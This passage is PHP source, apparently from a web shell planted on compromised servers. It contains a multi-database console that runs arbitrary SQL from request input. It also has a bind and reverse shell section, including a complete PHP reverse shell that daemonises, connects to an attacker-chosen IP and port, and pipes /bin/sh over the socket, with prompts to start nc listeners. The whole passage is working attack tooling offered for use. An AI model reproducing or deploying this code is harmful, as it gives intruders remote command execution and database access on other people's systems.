  738.         if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcpass'])) $odbcpass = ss($_REQUEST['odbcpass']);
  739.         if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdopass'])) $pdopass = ss($_REQUEST['pdopass']);
  740.         if(isset($_REQUEST['sqlpass'])&&isset($_REQUEST['sqlpass'])) $sqlpass = ss($_REQUEST['sqlpass']);
  741.  
  742.         $sqls = "";
  743.         $q_result = "";
  744.         $hostandport = $sqlhost;
  745.         if(trim($sqlport)!="") $hostandport = $sqlhost.":".$sqlport;
  746.  
  747.         if(isset($_REQUEST['mysqlcon']) && ($con = mysql_connect($hostandport,$sqluser,$sqlpass))){
  748.             if(isset($_REQUEST['sqlcode'])){
  749.                 $sqls = ss($_REQUEST['sqlcode']);
  750.                 $querys = explode(";",$sqls);
  751.  
  752.                 foreach($querys as $query){
  753.                   if(trim($query) != ""){
  754.                     $hasil = mysql_query($query);
  755.                     if($hasil){
  756.                         $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  757.                         <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  758.                         <table class=\"explore\" style=\"width:99%;\"><tr>";
  759.                         for($i=0;$i<mysql_num_fields($hasil);$i++)
  760.                             $q_result .= "<th>".htmlspecialchars(mysql_field_name($hasil,$i))."</th>";
  761.                         $q_result .= "</tr>";
  762.                         while($rows=mysql_fetch_array($hasil)){
  763.                             $q_result .= "<tr>";
  764.                             for($j=0;$j<mysql_num_fields($hasil);$j++)
  765.                             {
  766.                                 if($rows[$j] == "") $dataz = " ";
  767.                                 else $dataz = $rows[$j];
  768.                                 $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  769.                             }
  770.                             $q_result .= "</tr>";
  771.                         }
  772.                         $q_result .= "</table>";
  773.                     }
  774.                     else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  775.                             <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  776.                   }
  777.                 }
  778.             }
  779.             else $sqls = "SHOW databases;";
  780.  
  781.             $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  782.                     <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  783.                     <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  784.                     <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  785.                     <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  786.                     <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  787.                     <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  788.                     <p><input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  789.                     &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  790.                     </form>";
  791.             $s_result .= "<div>".$q_result."</div>";
  792.             if($con) mysql_close($con);
  793.         }
  794.         elseif(isset($_REQUEST['mssqlcon']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){
  795.             if(isset($_REQUEST['sqlcode'])){
  796.                 $sqls = ss($_REQUEST['sqlcode']);
  797.                 $querys = explode(";",$sqls);
  798.  
  799.                 foreach($querys as $query){
  800.                   if(trim($query) != ""){
  801.                     $hasil = mssql_query($query);
  802.                     if($hasil){
  803.                         $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  804.                         <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  805.                         <table class=\"explore\" style=\"width:99%;\"><tr>";
  806.                         for($i=0;$i<mssql_num_fields($hasil);$i++)
  807.                             $q_result .= "<th>".htmlspecialchars(mssql_field_name($hasil,$i))."</th>";
  808.                         $q_result .= "</tr>";
  809.                         while($rows=mssql_fetch_array($hasil)){
  810.                             $q_result .= "<tr>";
  811.                             for($j=0;$j<mssql_num_fields($hasil);$j++)
  812.                             {
  813.                                 if($rows[$j] == "") $dataz = " ";
  814.                                 else $dataz = $rows[$j];
  815.                                 $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  816.                             }
  817.                             $q_result .= "</tr>";
  818.                         }
  819.                         $q_result .= "</table>";
  820.                     }
  821.                     else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  822.                             <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  823.                   }
  824.                 }
  825.             }
  826.             else $sqls = "EXEC sp_databases;";
  827.  
  828.             $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  829.                     <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  830.                     <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  831.                     <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  832.                     <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  833.                     <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  834.                     <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  835.                     <p><input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  836.                     &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  837.                     </form>";
  838.             $s_result .= "<div>".$q_result."</div>";
  839.             if($con) mssql_close($con);
  840.         }
  841.         elseif(isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){
  842.             if(isset($_REQUEST['sqlcode'])){
  843.                 $sqls = ss($_REQUEST['sqlcode']);
  844.                 $querys = explode(";",$sqls);
  845.  
  846.                 foreach($querys as $query){
  847.                   if(trim($query) != ""){
  848.                     $st = oci_parse($con, $query);
  849.                     if(oci_execute($st)){
  850.                         $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  851.                         <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  852.                         <table class=\"explore\" style=\"width:99%;\"><tr>";
  853.                         for($i=1;$i<=oci_num_fields($st);$i++)
  854.                             $q_result .= "<th>".htmlspecialchars(oci_field_name($st,$i))."</th>";
  855.                    
  856.                         $q_result .= "</tr>";
  857.                    
  858.                         while($rows=oci_fetch_array($st)){
  859.                             $q_result .= "<tr>";
  860.                             for($j=0;$j<oci_num_fields($st);$j++)
  861.                             {
  862.                                 if($rows[$j] == "") $dataz = " ";
  863.                                 else $dataz = $rows[$j];
  864.                                 $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  865.                             }
  866.                             $q_result .= "</tr>";
  867.                         }
  868.                         $q_result .= "</table>";
  869.                     }
  870.                     else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  871.                             <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  872.                   }
  873.                 }
  874.             }
  875.             else $sqls = "SELECT * FROM user_tablespaces;";
  876.  
  877.             $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  878.                     <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  879.                     <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  880.                     <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  881.                     <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  882.                     <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  883.                     <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  884.                     <p><input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  885.                     &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  886.                     </form>";
  887.             $s_result .= "<div>".$q_result."</div>";
  888.             if($con) oci_close($con);
  889.         }
  890.         elseif(isset($_REQUEST['pgsqlcon']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){
  891.             if(isset($_REQUEST['sqlcode'])){
  892.                 $sqls = ss($_REQUEST['sqlcode']);
  893.                 $querys = explode(";",$sqls);
  894.  
  895.                 foreach($querys as $query){
  896.                   if(trim($query) != ""){
  897.                     $hasil = pg_query($query);
  898.                     if($hasil){
  899.                         $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  900.                         <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  901.                         <table class=\"explore\" style=\"width:99%;\"><tr>";
  902.                         for($i=0;$i<pg_num_fields($hasil);$i++)
  903.                             $q_result .= "<th>".htmlspecialchars(pg_field_name($hasil,$i))."</th>";
  904.                         $q_result .= "</tr>";
  905.                    
  906.                         while($rows=pg_fetch_array($hasil)){
  907.                             $q_result .= "<tr>";
  908.                             for($j=0;$j<pg_num_fields($hasil);$j++)
  909.                             {
  910.                                 if($rows[$j] == "") $dataz = " ";
  911.                                 else $dataz = $rows[$j];
  912.                                 $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  913.                             }
  914.                             $q_result .= "</tr>";
  915.                         }
  916.                         $q_result .= "</table>";
  917.                     }
  918.                     else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  919.                             <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  920.                   }
  921.                 }
  922.             }
  923.         }
  924.         elseif(isset($_REQUEST['odbccon']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){
  925.             if(isset($_REQUEST['sqlcode'])){
  926.                 $sqls = ss($_REQUEST['sqlcode']);
  927.                 $querys = explode(";",$sqls);
  928.  
  929.                 foreach($querys as $query){
  930.                   if(trim($query) != ""){
  931.                     $hasil = odbc_exec($con, $query);
  932.                     if($hasil){
  933.                         $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  934.                         <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  935.                         <table class=\"explore\" style=\"width:99%;\"><tr>";
  936.                         for($i=1;$i<=odbc_num_fields($hasil);$i++)
  937.                             $q_result .= "<th>".htmlspecialchars(odbc_field_name($hasil,$i))."</th>";
  938.                         $q_result .= "</tr>";
  939.                    
  940.                         while($rows=odbc_fetch_array($hasil)){
  941.                             $q_result .= "<tr>";
  942.                             foreach($rows as $r)
  943.                             {
  944.                                 if($r == "") $dataz = " ";
  945.                                 else $dataz = $r;
  946.                                 $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  947.                             }
  948.                             $q_result .= "</tr>";
  949.                         }
  950.                         $q_result .= "</table>";
  951.                     }
  952.                     else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  953.                             <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  954.                   }
  955.                 }
  956.             }      
  957.             else $sqls = "";
  958.  
  959.             $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  960.                     <input type=\"hidden\" name=\"odbcdsn\" value=\"".$odbcdsn."\" />
  961.                     <input type=\"hidden\" name=\"odbcuser\" value=\"".$odbcuser."\" />
  962.                     <input type=\"hidden\" name=\"odbcpass\" value=\"".$odbcpass."\" />
  963.                     <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  964.                     <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  965.                     <p><input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  966.                     &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  967.                     </form>";
  968.             $s_result .= "<div>".$q_result."</div>";
  969.             if($con) odbc_close($con);
  970.         }
  971.         else{
  972.             if(isset($_REQUEST['pdocon'])){
  973.                 try{
  974.                     // create object
  975.                     $mypdo = new PDO($pdodsn,$pdouser,$pdopass);       
  976.                     if(isset($_REQUEST['sqlcode'])){
  977.                         $sqls = ss($_REQUEST['sqlcode']);
  978.                         $querys = explode(";",$sqls);
  979.  
  980.                         foreach($querys as $query){
  981.                             if(trim($query) != ""){
  982.  
  983.                                 if($hasil = $mypdo->query($query)){
  984.                                     $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  985.                                     <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
  986.                                     <table class=\"explore\" style=\"width:99%;\"><tr>";
  987.                                     // workaround to get column name
  988.                                     $r = $hasil->fetch(PDO::FETCH_ASSOC);
  989.                                     $savefirstrow = array();
  990.                                     foreach($r as $fn=>$fv){
  991.                                         $q_result .= "<th>".htmlspecialchars($fn)."</th>";
  992.                                         $savefirstrow[] = $fv;
  993.                                     }
  994.                                     $q_result .= "</tr><tr>";
  995.                                     foreach($savefirstrow as $fv){
  996.                                         $q_result .= "<td>".htmlspecialchars($fv)."</td>";
  997.                                     }
  998.                                     $q_result .= "</tr>";
  999.                                     while($rows = $hasil->fetch(PDO::FETCH_ASSOC)){
  1000.                                         $q_result .= "<tr>";
  1001.                                         foreach($rows as $r)
  1002.                                         {
  1003.                                             if($r == "") $dataz = " ";
  1004.                                             else $dataz = $r;
  1005.                                             $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
  1006.                                         }
  1007.                                         $q_result .= "</tr>";
  1008.                                     }  
  1009.                                     $q_result .= "</table>";   
  1010.                                 }
  1011.                                 else{
  1012.  
  1013.                                     $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
  1014.                                             <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  1015.                                 }
  1016.  
  1017.                                 $q_result .= "</table>";
  1018.                             }
  1019.                         }
  1020.                     }      
  1021.                     else $sqls = "";
  1022.                
  1023.                     $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
  1024.                         <input type=\"hidden\" name=\"pdodsn\" value=\"".$pdodsn."\" />
  1025.                         <input type=\"hidden\" name=\"pdouser\" value=\"".$pdouser."\" />
  1026.                         <input type=\"hidden\" name=\"pdopass\" value=\"".$pdopass."\" />
  1027.                         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1028.                         <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
  1029.                         <p><input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  1030.                         &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
  1031.                         </form>";
  1032.                         $s_result .= "<div>".$q_result."</div>";               
  1033.                 }  
  1034.                 catch (PDOException $uck) {
  1035.                     die();
  1036.                 }          
  1037.             }
  1038.             else{
  1039.                 // mysql
  1040.                 $s_result .= "<div class=\"mybox\"><h2>connect to MySQL</h2>
  1041.                 <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1042.                 <table class=\"myboxtbl\">
  1043.                 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost1\" value=\"".$sqlhost1."\" /></td></tr>
  1044.                 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser1\" value=\"".$sqluser1."\" /></td></tr>
  1045.                 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass1\" value=\"\" /></td></tr>
  1046.                 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$sqlport1."\" /></td></tr>
  1047.                 </table>
  1048.                 <input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1049.                 </form>
  1050.                 </div>";
  1051.                 // mssql
  1052.                 $s_result .= "<div class=\"mybox\"><h2>connect to MsSQL</h2>
  1053.                 <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1054.                 <table class=\"myboxtbl\">
  1055.                 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost2\" value=\"".$sqlhost2."\" /></td></tr>
  1056.                 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser2\" value=\"".$sqluser2."\" /></td></tr>
  1057.                 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass2\" value=\"\" /></td></tr>
  1058.                 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$sqlport2."\" /></td></tr>
  1059.                 </table>
  1060.                 <input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1061.                 </form>
  1062.                 </div>";
  1063.  
  1064.                 // postgresql
  1065.                 $s_result .= "<div class=\"mybox\"><h2>connect to PostgreSQL</h2>
  1066.                 <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1067.                 <table class=\"myboxtbl\">
  1068.                 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost3\" value=\"".$sqlhost3."\" /></td></tr>
  1069.                 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser3\" value=\"".$sqluser3."\" /></td></tr>
  1070.                 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass3\" value=\"\" /></td></tr>
  1071.                 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$sqlport3."\" /></td></tr>
  1072.                 </table>
  1073.                 <input type=\"submit\" name=\"pgsqlcon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1074.                 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1075.                 </form>
  1076.                 </div>";
  1077.  
  1078.                 // oracle
  1079.                 $s_result .= "<div class=\"mybox\"><h2>connect to Oracle</h2>
  1080.                 <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1081.                 <table class=\"myboxtbl\">
  1082.                 <tr><td style=\"width:120px;\">Host</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost4\" value=\"".$sqlhost4."\" /></td></tr>
  1083.                 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser4\" value=\"".$sqluser4."\" /></td></tr>
  1084.                 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass4\" value=\"\" /></td></tr>
  1085.                 <tr><td>Port (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport4\" value=\"".$sqlport4."\" /></td></tr>
  1086.                 </table>
  1087.                 <input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1088.                 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1089.                 </form>
  1090.                 </div>";
  1091.                        
  1092.                 // odbc
  1093.                 $s_result .= "<div class=\"mybox\"><h2>connect using ODBC</h2>
  1094.                 <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1095.                 <table class=\"myboxtbl\">
  1096.                 <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcdsn\" value=\"".$odbcdsn."\" /></td></tr>
  1097.                 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcuser\" value=\"".$odbcuser."\" /></td></tr>
  1098.                 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"odbcpass\" value=\"\" /></td></tr>
  1099.                 </table>
  1100.                 <input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1101.                 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1102.                 </form>
  1103.                 </div>";
  1104.                        
  1105.                 // pdo
  1106.                 $s_result .= "<div class=\"mybox\"><h2>connect using PDO</h2>
  1107.                 <form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
  1108.                 <table class=\"myboxtbl\">
  1109.                 <tr><td style=\"width:120px;\">DSN / Connection String</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdodsn\" value=\"".$pdodsn."\" /></td></tr>
  1110.                 <tr><td>Username</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdouser\" value=\"".$pdouser."\" /></td></tr>
  1111.                 <tr><td>Password</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"pdopass\" value=\"\" /></td></tr>
  1112.                 </table>
  1113.                 <input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Connect !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1114.                 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1115.                 </form>
  1116.                 </div>";
  1117.             }
  1118.         }
  1119.     } // bind and reverse shell
  1120.     elseif(isset($_REQUEST['rs'])){
  1121.         $rshost = $s_server_ip;
  1122.         $rstarget = "";
  1123.         $d = $pwd;
  1124.         if(isset($_REQUEST['d'])) $d = ss($_REQUEST['d']);
  1125.  
  1126.         $rsport = "13123";
  1127.         // resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c
  1128.         $rspesan = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
  1129.         $rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
  1130.  
  1131.         $rsport1 = $rsport;
  1132.         $rsport2 = $rsport;
  1133.         $rsport3 = $rsport;
  1134.  
  1135.         if(isset($_REQUEST['xbind_pl'])){
  1136.             if(isset($_REQUEST['sqlport1'])) $rsport1 = ss($_REQUEST['sqlport1']);
  1137.             $rstarget = $rsport1;
  1138.             $rsres = rs($s_win, cp($d),  "xbind_pl" ,$xbind_pl, $rstarget);
  1139.             $s_result .= $rsres;
  1140.         }
  1141.         if(isset($_REQUEST['xbind_py'])){
  1142.             if(isset($_REQUEST['sqlport2'])) $rsport2 = ss($_REQUEST['sqlport2']);
  1143.             $rstarget = $rsport2;
  1144.             $rsres = rs($s_win, cp($d),  "xbind_py" ,$xmulti_py, $rstarget);
  1145.             $s_result .= $rsres;
  1146.         }
  1147.         if(isset($_REQUEST['xbind_bin'])){
  1148.             if(isset($_REQUEST['sqlport3'])) $rsport3 = ss($_REQUEST['sqlport3']);
  1149.             $rstarget = $rsport3;
  1150.             if(!$s_win) $rsres = rs($s_win, cp($d),  "xbind_bin" ,$xbind_c, $rstarget);
  1151.             else $rsres = rs($s_win, cp($d),  "xbind_bin" ,$wmulti_c, $rstarget);
  1152.             $s_result .= $rsres;
  1153.         }
  1154.  
  1155.         $rsportb1 = $rsport;
  1156.         $rsportb2 = $rsport;
  1157.         $rsportb3 = $rsport;
  1158.         $rsportb4 = $rsport;
  1159.         $rstarget1 = $s_my_ip;
  1160.         $rstarget2 = $s_my_ip;
  1161.         $rstarget3 = $s_my_ip;
  1162.         $rstarget4 = $s_my_ip;
  1163.  
  1164.         if(isset($_REQUEST['xback_pl'])){
  1165.             if(isset($_REQUEST['sqlportb1'])) $rsportb1 = ss($_REQUEST['sqlportb1']);
  1166.             if(isset($_REQUEST['rstarget1'])) $rstarget1 = ss($_REQUEST['rstarget1']);
  1167.  
  1168.             $rstarget = $rsportb1."  ".$rstarget1;
  1169.             $rsres = rs($s_win, cp($d),  "xback_pl" ,$xback_pl, $rstarget);
  1170.             $s_result .= $rsres;
  1171.  
  1172.         }
  1173.         if(isset($_REQUEST['xback_py'])){
  1174.             if(isset($_REQUEST['sqlportb2'])) $rsportb2 = ss($_REQUEST['sqlportb2']);
  1175.             if(isset($_REQUEST['rstarget2'])) $rstarget2 = ss($_REQUEST['rstarget2']);
  1176.  
  1177.             $rstarget = $rsportb2."  ".$rstarget2;
  1178.             $rsres = rs($s_win, cp($d),  "xback_py" ,$xmulti_py, $rstarget);
  1179.             $s_result .= $rsres;
  1180.         }
  1181.         if(isset($_REQUEST['xback_bin'])){
  1182.             if(isset($_REQUEST['sqlportb3'])) $rsportb3 = ss($_REQUEST['sqlportb3']);
  1183.             if(isset($_REQUEST['rstarget3'])) $rstarget3 = ss($_REQUEST['rstarget3']);
  1184.  
  1185.             $rstarget = $rsportb3."  ".$rstarget3;
  1186.             if(!$s_win) $rsres = rs($s_win, cp($d),  "xback_bin" ,$xback_c, $rstarget);
  1187.             else $rsres = rs($s_win, cp($d),  "xback_bin" ,$wmulti_c, $rstarget);
  1188.             $s_result .= $rsres;
  1189.         }
  1190.         if(isset($_REQUEST['xback_php'])){
  1191.             if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
  1192.             if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
  1193.                 $ip = $rstarget4;
  1194.                 $port = $rsportb4;
  1195.                 $chunk_size = 1337;
  1196.                 $write_a = null;
  1197.                 $error_a = null;
  1198.                 $shell = '/bin/sh';
  1199.                 $daemon = 0;
  1200.                 $debug = 0;
  1201.                 if(function_exists('pcntl_fork')){
  1202.                     $pid = pcntl_fork();
  1203.                     if ($pid == -1) exit(1);
  1204.                     if ($pid) exit(0);
  1205.                     if (posix_setsid() == -1) exit(1);
  1206.                     $daemon = 1;
  1207.                 }
  1208.                 umask(0);
  1209.                 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  1210.                 if(!$sock) exit(1);
  1211.                 $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  1212.                 $process = proc_open($shell, $descriptorspec, $pipes);
  1213.                 if(!is_resource($process)) exit(1);
  1214.                 stream_set_blocking($pipes[0], 0);
  1215.                 stream_set_blocking($pipes[1], 0);
  1216.                 stream_set_blocking($pipes[2], 0);
  1217.                 stream_set_blocking($sock, 0);
  1218.                 while(1){
  1219.                     if(feof($sock)) break;
  1220.                     if(feof($pipes[1])) break;
  1221.                     $read_a = array($sock, $pipes[1], $pipes[2]);
  1222.                     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  1223.                     if(in_array($sock, $read_a)){
  1224.                         $input = fread($sock, $chunk_size);
  1225.                         fwrite($pipes[0], $input);
  1226.                     }
  1227.                     if(in_array($pipes[1], $read_a)){
  1228.                         $input = fread($pipes[1], $chunk_size);
  1229.                         fwrite($sock, $input);
  1230.                     }
  1231.                     if(in_array($pipes[2], $read_a)){
  1232.                         $input = fread($pipes[2], $chunk_size);
  1233.                         fwrite($sock, $input);
  1234.                     }
  1235.                 }
  1236.                 fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
  1237.                 proc_close($process);
  1238.             $rsres = " ";
  1239.             $s_result .= $rsres;
  1240.         }
  1241.         $s_result .= "<div class=\"mybox\"><h2>Bind shell ( perl )</h2>
  1242.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1243.         <table class=\"myboxtbl\">
  1244.         <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost1\" value=\"".$rshost."\" /></td></tr>
  1245.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$rsport1."\" /></td></tr>
  1246.         </table>
  1247.         <input type=\"submit\" name=\"xbind_pl\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1248.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
  1249.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1250.         </form>
  1251.         </div>";
  1252.         $s_result .= "<div class=\"mybox\"><h2>Bind shell ( python )</h2>
  1253.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1254.         <table class=\"myboxtbl\">
  1255.         <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr>
  1256.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$rsport2."\" /></td></tr>
  1257.         </table>
